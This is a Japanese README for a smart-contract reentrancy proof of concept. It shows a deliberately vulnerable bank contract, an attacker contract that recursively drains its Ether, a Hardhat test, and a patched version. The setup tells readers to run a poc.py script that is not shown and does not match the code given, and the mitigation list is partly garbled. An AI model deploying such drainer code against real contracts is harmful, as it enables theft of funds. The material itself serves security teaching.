
スマートコントラクトのリエントランシー攻撃の脆弱性の検証
このリポジトリには、Ethereumスマートコントラクトにおけるリエントランシー攻撃の脆弱性を示す概念実証(PoC)が含まれています。このPoCには、脆弱なスマートコントラクト、攻撃者コントラクト、およびローカルテスト環境で攻撃を再現するための手順が含まれています。
リエントランシーは、Ethereumスマートコントラクトにおける一般的な脆弱性であり、外部コントラクトが最初の呼び出しの完了前に元のコントラクトへ繰り返し呼び出しを行うことで、資金を流出させたり状態を操作したりする可能性があります。このPoCは、攻撃者が脆弱なコントラクトを悪用してEtherを盗む方法を示しています。
脆弱なコントラクト(VulnerableBank)は、ユーザーがEtherを預金および引き出しできるようにします。しかし、外部呼び出しの前に状態更新を適切に行わないため、リエントランシーに対して脆弱です。攻撃者コントラクト(Attacker)は、withdraw関数を再帰的に呼び出して、コントラクトのEther残高を流出させます。
VulnerableBankのwithdraw関数は、ユーザーの残高を更新する前にEtherを呼び出し元に送信します。withdrawを再度呼び出し、コントラクトの資金を流出させることができます。このPoCを実行するには、以下が必要です:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
以下は、このPoCで使用される2つのコントラクトです:
このコントラクトは、預金と引き出しが可能な単純な銀行をシミュレートしますが、リエントランシーに対して脆弱です。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
このコントラクトは、withdraw関数を再帰的に呼び出すことでリエントランシーの脆弱性を悪用します。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
攻撃シミュレーションを自動化するHardhatテストスクリプトが含まれています。
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
リエントランシー攻撃を防ぐには、以下のベストプラクティスを検討してください:
ReentrancyGuard)を使用します。transferまたはsendを使用する:これらのメソッドはガスを制限するため、リエントランシーのリスクを軽減します。// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
このプロジェクトはMITライセンスの下でライセンスされています。詳細については、LICENSEファイルを参照してください。